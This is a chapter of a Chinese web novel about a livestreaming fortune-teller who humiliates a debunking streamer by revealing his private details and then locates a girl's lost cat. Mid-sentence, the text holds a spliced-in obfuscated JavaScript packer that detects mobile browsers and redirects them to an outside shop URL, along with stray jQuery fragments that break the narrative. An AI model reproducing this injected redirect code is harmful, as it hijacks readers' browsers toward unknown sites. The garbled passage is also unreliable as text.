“大师,你再不开播粉丝要跑光了。”周听的声音很急,语速比平时快了一倍。“你知道吗,你的超话里已经有粉丝在问了,说你是不是出事了,是不是被威胁了,是不是以后都不播了。”
“没出事。”司理说。
“那你什么时候开播?你好歹露个脸,跟粉丝说句话。不然网上那些喷子又要说你被封杀了。”
司理想了想。
裴东来还在逃,先生还没找到,但该查的已经查了,该等的还在等。
周太太去了纪委,周德盛被带走了,纪委在查那些几年前的几起事故。
现在除了等,没有别的事可以做。
而且钱还是要赚的。
裴东来和先生的事要查,但赚钱的事也不能停。
工作室的房租、符纸朱砂的成本、沈夜的人工,这些都要钱。
“明天开。”她说。
周听欢呼了一声,挂了电话。
第二天下午,司理在工作室开了直播。
她把手机支架从抽屉里拿出来,插上直播灯,调试了一下角度。
薄今郁坐在角落的椅子上,手里拿着一杯奶茶,和平时一样。
沈夜靠在武馆门口,双手抱胸,看着巷子里的动静。
直播一开,在线人数跳得很快。
开播五分钟就破了五十万。
弹幕刷得飞快,满屏都是字,一行叠着一行。
“大师终于开播了!”
“好几天没见了!”
“你去哪了?”
“林宇的玉佩处理好了吗?”
“阳光福利院是不是你发现的?”
“那个威胁你的人抓到了吗?”
司理没有回应这些问题。
她调整了一下摄像头角度,让脸完整地出现在画面里。
“今天正常直播。起卦三百,连麦先转账。”
她还没来得及开连麦,就有人申请了连麦。
申请列表里有几百个人,最上面的那个名字是打假侦探。
弹幕瞬间炸了。
“打假侦探来了!”
“他是来踢馆的!”
“大师别接!”
“有好戏看了!”
司理不认识这个名字。
她不怎么看直播,也不关注网红。
但弹幕的反应告诉她,这个人不普通。
她点了同意。
屏幕上出现一个年轻男人。
二十七八岁,穿着黑色卫衣,耳朵上戴着好几个耳钉。
他身后是一面墙,墙上贴满了各种证书和奖状.
有年度最佳打假主播,全网最敢说真话的人,揭露骗局三百期之类的字样。
他对着镜头笑了一下,不是那种友好的笑,是那种我来砸场子的笑。
“大家好,我是打假侦探。”他说。
弹幕又炸了一轮。
“打假侦探”是全网有名的打假主播,专门揭露各种骗局。
他的粉丝比司理还多,每期视频的播放量都在千万以上。
他来司理的直播间,意味着什么很明显。
“司大师,久仰。”他的语气带着一丝挑衅,靠在椅背上,双手交叉放在脑后.
“我今天来,是想请你现场展示一下你的能力。毕竟你直播间百万人,一卦难求,总得有点真本事吧?”
司理看着他,表情没什么变化。
她不认识这个人,也不在乎他有多少粉丝。
她只看到他眼下的青黑,和卫衣领口露出来的一截锁骨。
“你想让我展示什么?”
“随便。你不是能算吗?你算算我今天早上吃了什么。”
弹幕里有人在骂他。
“这太简单了”
“谁能算出来这个”
“他是来找茬的”
“打起来打起来”
“大师别理他”。
司理没有生气。
她看了他一眼,然后说道:“你今天早上没吃早饭。因为你睡过头了,来不及吃。”
打假侦探的表情变了一下。
不是那种明显的变化,是嘴角微微抽了一下。
但很快他就恢复了笑容。
“这有什么?我早上没吃早饭,很多人都知道。我昨天直播的时候说过。”
“你没说过。”司理说:“你昨天直播的内容是揭露一个卖假药的直播间,全程没有提过你的私人生活。你昨天晚上下播之后,打游戏打到凌晨三点。”
“你的游戏账号是公开的,对局记录显示你最后一场结束在三点十二分。你今天早上闹钟定了八个,从七点开始每隔五分钟响一次。”
“你按掉了前七个,第八个响了之后你才起来。”
打假侦探的笑容僵住了。
“你到直播间的时候已经快中午了,所以没吃早饭。你现在胃不舒服,因为你空腹喝了冰美式。你手边那杯咖啡已经喝完了,杯底还有冰块融化的水。”
弹幕炸了。
打假侦探的脸有点挂不住了。
他端起咖啡杯看了一眼,杯底确实有水。
他放下杯子,清了清嗓子说道:“这有什么难的?你查一下我的游戏账号就能知道。对局记录是公开的,谁都能查到。”
“那我说一个只有你知道的事。”司理说。
打假侦探看着她,不说话了。
“你胸口有一颗痣,左边。你小时候因为这个被同学嘲笑过,所以你一直很在意。你穿衣服从来不穿领口大的。你去游泳的时候会贴一个肤色创可贴在那个位置。”
打假侦探的脸彻底白了。
他下意识地用手捂了一下胸口,然后意识到这个动作暴露了什么。
他把手放下来,但已经晚了。
弹幕笑疯了。
“哈哈哈哈他捂胸口了”
“大师太狠了”
“这不是算命,这是开盒”
“打假主播服软了”。
打假侦探沉默了几秒。
他的嘴唇动了几下,想说什么,但没说出来。
然后他深吸了一口气,说了一句我服了,挂了连麦。
弹幕还在刷。
有人说大师威武,有人问打假主播怎么不说话了,还有人已经开始剪视频了。
周听发来一条消息:“大师你太帅了!”
后面跟了一长串感叹号。
司理没有理会。
她开了第二个连麦。
这次的连麦对象是一个年轻女孩,二十出头,扎着马尾辫,穿着一件粉色的卫衣。她的眼睛红红的,鼻子也红红的,显然哭过。
她抱着一只橘猫的玩偶,声音哽咽地说道:“大师,我的猫丢了。找了好几天了,到处都找了,就是找不到。你能不能帮我看看它在哪?”
“猫的名字,照片,报给我。”
女孩报了名字,然后把手机摄像头对准一张照片。照片上是一只橘猫,胖乎乎的,趴在沙发上,眯着眼睛,看起来很懒。
司理闭了一下眼睛。
神识探出去,顺着猫的气息搜寻。
猫的命格和人的不一样,他们的气息更纯净,也更容易追踪。
她睁开眼说道:“你住哪个小区?”
“城南,阳光花园。”
“小区前两天是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665489|204768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来了一群抓野猫的?”
女孩愣了一下说道:“有。之前小区里好多怀孕的母猫没人管,有一只不小心吃了有毒的东西死了。所以小区找了人来抓。”
“你的猫就是被他们当成野猫抓走了。它现在在收容所的最里面,靠墙的位置。有一个黑白奶牛猫和它在一个笼子里。”
女孩的眼泪掉下来了。“它还好吗?”
“活着。但饿了好几天了,没力气。你快点去,记得给它带点吃的。”
“好!我马上去!”女孩挂了连麦。
弹幕又开始刷了。
有人在问这次是真的吗,有人说猫丢了确实着急,有人已经开始@动物保护协会了。
十几分钟后,女孩发来一条消息,附了一张照片。
照片上是一个破旧的笼子,一只橘猫趴在旁边,浑身灰扑扑的,瘦了一圈,但眼睛是亮的。
女孩的手放在猫身上,手指在发抖。
“找到了!大师你真的神!团团还活着!谢谢你谢谢你谢谢你!”
弹幕又炸了一轮。
“大师真的神”
“这也太准了”
“我开始信了”
“之前谁说她是骗子的?”
司理没有回应,她开了第三个连麦。
这次的连麦对象是一个中年女人,说自己老公出轨了,问司理能不能帮她算算。司理看了她的掌纹,又问了生辰八字,说不是出轨,是她老公在瞒着她炒股赔了钱,不敢跟她说。
女人愣了一下说道:“他确实最近老是在看手机,但每次我靠近他就关掉”。
司理说回去问问就知道了。
女人挂了连麦。
第四个连麦是一个大学生,问考研能不能考上。
司理看了他的掌纹,又问了生辰八字和报考的学校,说能考上,但分数不会太高,刚好过线。
大学生说:“够了够了,能上就行”。
第五个连麦是一个中年男人,说自己失眠好几年了,看了好多医生都没用。
司理让他把手掌对准摄像头,看了一眼,又问了生辰八字。
司理说不是失眠,是他卧室的床头对着窗户,窗户外面对着一盏路灯,光太亮了。
男人说:“确实,我卧室的窗户对着路灯,窗帘不太遮光”。
司理让他换个方向睡,或者换厚一点的窗帘。
男人连连道谢。
直播结束后,在线人数最高冲到一百五十万。
弹幕还在刷,有人问大师下次什么时候开播,有人问林宇的玉佩处理好了没有,有人问阳光福利院的事是不是你报的警。
她没有看,直接关了直播。
周听发来消息:“大师你已经是全网第一了。”
司理没回。
她把手机收起来,靠在椅背上,揉了揉太阳穴。
今天接了五个连麦,不算多,但比平时累。
不是因为灵力消耗,找猫用了一点灵力,但不多。
是因为脑子里装的事情太多了。
薄今郁从里间走出来,手里拎着两杯奶茶。
他把一杯放在司理面前,自己在对面坐下来,喝了一口。
“累吗?”
“还行。”
“那个打假主播,你是怎么知道他胸口有痣的?”薄今郁问。
司理看了他一眼说道:“你看过他的直播吗?”
“没有。”
“他有一次直播的时候,衣服领口滑了一下,被粉丝截图了。那张截图在网上传过一阵子,虽然很快被删了,但我看过。”
薄今郁愣了一下说道:“所以你不是算出来的?”